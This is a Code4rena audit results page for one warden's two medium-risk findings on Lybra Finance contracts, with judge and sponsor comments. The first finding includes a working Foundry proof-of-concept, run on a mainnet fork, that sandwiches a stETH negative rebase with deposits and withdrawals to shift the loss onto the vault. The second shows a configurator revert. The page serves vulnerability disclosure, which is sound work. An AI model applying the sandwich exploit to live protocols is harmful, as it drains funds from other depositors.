Lybra Finance - georgypetrov's results

A protocol building the first interest-bearing omnichain stablecoin backed by LSD.

General Information

Platform: Code4rena

Start Date: 23/06/2023

Pot Size: $60,500 USDC

Total HM: 31

Participants: 132

Period: 10 days

Judge: 0xean

Total Solo HM: 10

Id: 254

League: ETH

Lybra Finance

Findings Distribution

Researcher Performance

Rank: 27/132

Findings: 2

Award: $332.34

🌟 Selected for report: 2

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: georgypetrov

Also found by: 0xRobocop, 3agle, max10afternoon

Labels

bug
2 (Med Risk)
downgraded by judge
high quality report
primary issue
satisfactory
selected for report
sponsor acknowledged
edited-by-warden
M-02

Awards

263.2518 USDC - $263.25

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L79 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L103

Vulnerability details

Description

Lybra keeps the exact amount of collateral as deposited ignoring any lido rebases. https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L79 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L103 That allows malicious users to sandwich negative rebase transactions with depositing and withdrawing their stETH saving the exact amount as before negative rebase. The user can wait for 3 days or have a fee discount using rigidRedemption of self, which it makes applicable to a fee (safeCollateralRatio - 100) / safeCollateralRatio * redemptionFee part of the deposit.

Impact

The protocol will have additional losses in that case because the negative rebase decreases the cost of stETH share and the protocol withdraws the same amount of stETH as deposited to the malicious user, transferring more shares than deposited.

Proof of Concept

Should be launched with mainnet fork

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LybraProxy} from "@lybra/Proxy/LybraProxy.sol";
import {LybraProxyAdmin} from "@lybra/Proxy/LybraProxyAdmin.sol";
// import {AdminTimelock} from "@lybra/governance/AdminTimelock.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol";
// import {LybraWBETHVault} from "@lybra/pools/LybraWbETHVault.sol";
import {esLBR} from "@lybra/token/esLBR.sol";
import {LybraWstETHVault} from "@lybra/pools/LybraWstETHVault.sol";
// import {LybraRETHVault} from "@lybra/pools/LybraRETHVault.sol";
// import {PeUSD} from "@lybra/token/PeUSD.sol";
import {esLBRBoost} from "@lybra/miner/esLBRBoost.sol";
import {LBR} from "@lybra/token/LBR.sol";
import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol";
// import {StakingRewardsV2} from "@lybra/miner/stakerewardV2pool.sol";
// import {LybraGovernance} from "@lybra/governance/LybraGovernance.sol";
import {PeUSDMainnet} from "@lybra/token/PeUSDMainnetStableVision.sol";
import {ProtocolRewardsPool} from "@lybra/miner/ProtocolRewardsPool.sol";
// import {EUSD} from "@lybra/token/EUSD.sol";
import {Configurator} from "@lybra/configuration/LybraConfigurator.sol";
import {EUSDMiningIncentives} from "@lybra/miner/EUSDMiningIncentives.sol";
// import {LybraEUSDVaultBase} from "@lybra/pools/base/LybraEUSDVaultBase.sol";
// import {LybraPeUSDVaultBase} from "@lybra/pools/base/LybraPeUSDVaultBase.sol";
import {mockChainlink} from "@mocks/chainLinkMock.sol";
import {stETHMock} from "@mocks/stETHMock.sol";
import {EUSDMock} from "@mocks/mockEUSD.sol";
import {mockCurve} from "@mocks/mockCurve.sol";
import {mockUSDC} from "@mocks/mockUSDC.sol";
import {mockLBRPriceOracle} from "@mocks/mockLBRPriceOracle.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract LybraV2Test is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    LybraProxy proxy;
    LybraProxyAdmin admin;
    // AdminTimelock timeLock;
    GovernanceTimelock govTimeLock;
    // LybraWbETHVault wbETHVault;
    // esLBR lbr;
    // LybraWstETHVault stETHVault;
    mockChainlink oracle;
    mockLBRPriceOracle lbrOracleMock;
    esLBRBoost eslbrBoost;
    mockUSDC usdc;
    mockCurve curve;
    Configurator configurator;
    LBR lbr;
    esLBR eslbr;
    EUSDMock usd;
    EUSDMiningIncentives eusdMiningIncentives;
    ProtocolRewardsPool rewardsPool;
    LybraStETHDepositVault stETHVault;
    PeUSDMainnet peUsdMainnet;
    address owner = address(7);
    // admins && executers of GovernanceTimelock
    address[] govTimelockArr;
    address stETHWhale = 0x1982b2F5814301d4e9a8b0201555376e62F82428;
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
    address exploiter = address(0x1);

    function setUp() public {
        vm.startPrank(owner);
        oracle = new mockChainlink();
        lbrOracleMock = new mockLBRPriceOracle();
        govTimelockArr.push(owner);
        govTimeLock = new GovernanceTimelock(
            1,
            govTimelockArr,
            govTimelockArr,
            owner
        );
        eslbrBoost = new esLBRBoost();
        usdc = new mockUSDC();
        curve = new mockCurve();
        //  _dao , _curvePool
        configurator = new Configurator(address(govTimeLock), address(curve));
        // _config , _sharedDecimals , _lzEndpoint
        lbr = new LBR(address(configurator), 8, goerliEndPoint);
        // _config
        eslbr = new esLBR(address(configurator));
        // _config
        usd = new EUSDMock(address(configurator));

        configurator.initToken(address(usd), address(peUsdMainnet));
        // _config, _boost, _etherOracle, _lbrOracle
        eusdMiningIncentives = new EUSDMiningIncentives(
            address(configurator),
            address(eslbrBoost),
            address(oracle),
            address(lbrOracleMock)
        );
        // _config
        rewardsPool = new ProtocolRewardsPool(address(configurator));
        
        // _config, _stETH, _oracle
        stETHVault = new LybraStETHDepositVault(
            address(configurator),
            address(stETH),
            address(oracle)
        );
        // _config, _sharedDecimals, _lzEndpoint
        peUsdMainnet = new PeUSDMainnet(
            address(configurator),
            8,
            goerliEndPoint
        );

        curve.setToken(address(usd), address(usdc));
        configurator.setMintVault(address(stETHVault), true);
        configurator.setPremiumTradingEnabled(true);
        configurator.setMintVaultMaxSupply(
            address(stETHVault),
            10_000_000_000 ether
        );
        configurator.setBorrowApy(address(stETHVault), 200);
        configurator.setEUSDMiningIncentives(address(eusdMiningIncentives));
        eusdMiningIncentives.setToken(address(lbr), address(eslbr));
        rewardsPool.setTokenAddress(
            address(eslbr),
            address(lbr),
            address(eslbrBoost)
        );

        // Missing configurator.initEUSD(this.EUSDMock.address) as initEUSD in configurator does not exist.
        // And it's not same as initToken. 
        vm.stopPrank();

        vm.startPrank(stETHWhale);
        stETH.approve(address(stETHVault), 1_000_000e18);
        stETHVault.depositAssetToMint(100_000e18, 0);
        stETH.transfer(exploiter, 1000e18);
        vm.stopPrank();
    }
    
    function negativeRebaseLido() internal {
        bytes32 BUFFERED_ETHER_POSITION =
            0xed310af23f61f96daefbcd140b306c0bdbf8c178398299741687b90e794772b0; // keccak256("lido.Lido.bufferedEther");
        vm.store(address(stETH), BUFFERED_ETHER_POSITION, bytes32(0));
    }

    function testV2AvoidingRebaseLossesWithRigid() public {
        console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault)));
        uint256 exploiterBalance = stETH.balanceOf(exploiter);
        vm.startPrank(exploiter);
        stETH.approve(address(stETHVault), exploiterBalance);
        console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter));
        uint256 toBorrow = exploiterBalance * oracle.fetchPrice() * 100 / configurator.getSafeCollateralRatio(address(stETHVault));
        stETHVault.depositAssetToMint(exploiterBalance, toBorrow);
        
        negativeRebaseLido();
        
        configurator.becomeRedemptionProvider(true);
        stETHVault.rigidRedemption(exploiter, toBorrow);
        stETHVault.withdraw(exploiter, stETHVault.depositedAsset(exploiter));
        console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter));
        console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault)));
        vm.stopPrank();
    }

        function testV2AvoidingRebaseLossesWaitFor3Days() public {
        console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault)));
        uint256 exploiterBalance = stETH.balanceOf(exploiter);
        vm.startPrank(exploiter);
        stETH.approve(address(stETHVault), exploiterBalance);
        console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter));
        stETHVault.depositAssetToMint(exploiterBalance, 0);
        negativeRebaseLido();

        vm.warp(block.timestamp + 3 days);
        stETHVault.withdraw(exploiter, exploiterBalance);
        console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter));
        console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault)));
        vm.stopPrank();
    }

    function testV2NormalRebaseLosses() public {
        console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault)));
        console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter));
        negativeRebaseLido();
        console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter));
        console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault)));
    }
}

logs:

Running 3 tests for test/LybraV2.sol:LybraV2Test [PASS] testV2AvoidingRebaseLossesWaitFor3Days() (gas: 166689) Logs: lybra balance before rebase: 99999999999999999999999 exploiter balance before rebase: 1000000000002315874593 exploiter balance after rebase: 1000000000002315874593 lybra balance after rebase: 99904387650376337889471 [PASS] testV2AvoidingRebaseLossesWithRigid() (gas: 393436) Logs: lybra balance before rebase: 99999999999999999999999 exploiter balance before rebase: 1000000000002315874593 exploiter balance after rebase: 999621875002314998902 lybra balance after rebase: 99904765775376338765162 [PASS] testV2NormalRebaseLosses() (gas: 74877) Logs: lybra balance before rebase: 99999999999999999999999 exploiter balance before rebase: 1000000000002315874593 exploiter balance after rebase: 999053343075346752371 lybra balance after rebase: 99905334307303307011693

Tools Used

Foundry, mainnet forking.

Need to handle losses in a different way than just waiting for positive rebases will cover losses or deprecate rebase collateral vaults.

Assessed type

Other

#0 - c4-pre-sort

2023-07-10T01:41:25Z

JeffCX marked the issue as primary issue

#1 - c4-pre-sort

2023-07-10T01:41:37Z

JeffCX marked the issue as high quality report

#2 - c4-pre-sort

2023-07-13T13:21:55Z

JeffCX marked the issue as duplicate of #964

#3 - c4-judge

2023-07-28T19:36:43Z

0xean marked the issue as not a duplicate

#4 - 0xean

2023-07-28T19:37:24Z

@c4-sponsor / @LybraFinance this one is slightly unique, and I believe incorrectly duped. Your response may be the same, but wanted to have you take a look.

#5 - c4-judge

2023-07-28T19:37:34Z

0xean marked the issue as satisfactory

#6 - c4-sponsor

2023-07-29T08:46:55Z

LybraFinance marked the issue as sponsor acknowledged

#7 - LybraFinance

2023-07-29T08:49:06Z

We chose to ignore the negative change of rebase.

#8 - c4-judge

2023-07-31T23:20:40Z

0xean marked the issue as primary issue

#9 - c4-judge

2023-08-02T14:39:29Z

0xean changed the severity to 2 (Med Risk)

#10 - c4-judge

2023-08-02T14:40:01Z

0xean marked the issue as selected for report

Findings Information

🌟 Selected for report: georgypetrov

Also found by: CrypticShepherd, DelerRH, Kenshin, LuchoLeonel1, SpicyMeatball, bart1e, ktg, pep7siup

Labels

bug
2 (Med Risk)
high quality report
primary issue
satisfactory
selected for report
sponsor confirmed
M-03

Awards

69.0878 USDC - $69.09

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L30 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L18

Vulnerability details

Impact

Because of vaultType variable is internal vaultType staticcall to vaults from the configurator will revert, so it makes it impossible to change safeCollateralRatio. It may be critical when market conditions will change, something happens with ETH.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol";
import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol";
import {Configurator} from "@lybra/configuration/LybraConfigurator.sol";
import {mockEtherPriceOracle} from "@mocks/mockEtherPriceOracle.sol";
import {mockCurve} from "@mocks/mockCurve.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract LybraV2SafeCollateral is Test {

    GovernanceTimelock govTimeLock;
    mockEtherPriceOracle oracle;
    mockCurve curve;
    Configurator configurator;
    LybraStETHDepositVault stETHVault;
    address owner = address(7);
    // admins && executers of GovernanceTimelock
    address[] govTimelockArr;
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);

    function setUp() public {
        vm.startPrank(owner);
        oracle = new mockEtherPriceOracle();
        govTimelockArr.push(owner);
        govTimeLock = new GovernanceTimelock(
            1,
            govTimelockArr,
            govTimelockArr,
            owner
        );
        curve = new mockCurve();
        //  _dao , _curvePool
        configurator = new Configurator(address(govTimeLock), address(curve));

        stETHVault = new LybraStETHDepositVault(
            address(configurator),
            address(stETH),
            address(oracle)
        );
        vm.stopPrank();
    }

    function testSafeCollateral() public {
        vm.startPrank(owner);
        configurator.setSafeCollateralRatio(address(stETHVault), 165 * 1e18);
    }
    

}

Tools Used

Foundry

Change getter function in LybraConfigurator:

interface IVault {
    function getVaultType() external view returns (uint8);
}
...
...
if(IVault(pool).getVaultType() == 0) {

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L29

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199

Assessed type

DoS

#0 - c4-pre-sort

2023-07-08T18:31:58Z

JeffCX marked the issue as high quality report

#1 - c4-pre-sort

2023-07-08T18:32:05Z

JeffCX marked the issue as primary issue

#2 - c4-sponsor

2023-07-18T06:30:25Z

LybraFinance marked the issue as sponsor confirmed

#3 - c4-judge

2023-07-26T12:43:50Z

0xean marked the issue as satisfactory

#4 - c4-judge

2023-07-28T20:36:20Z

0xean marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter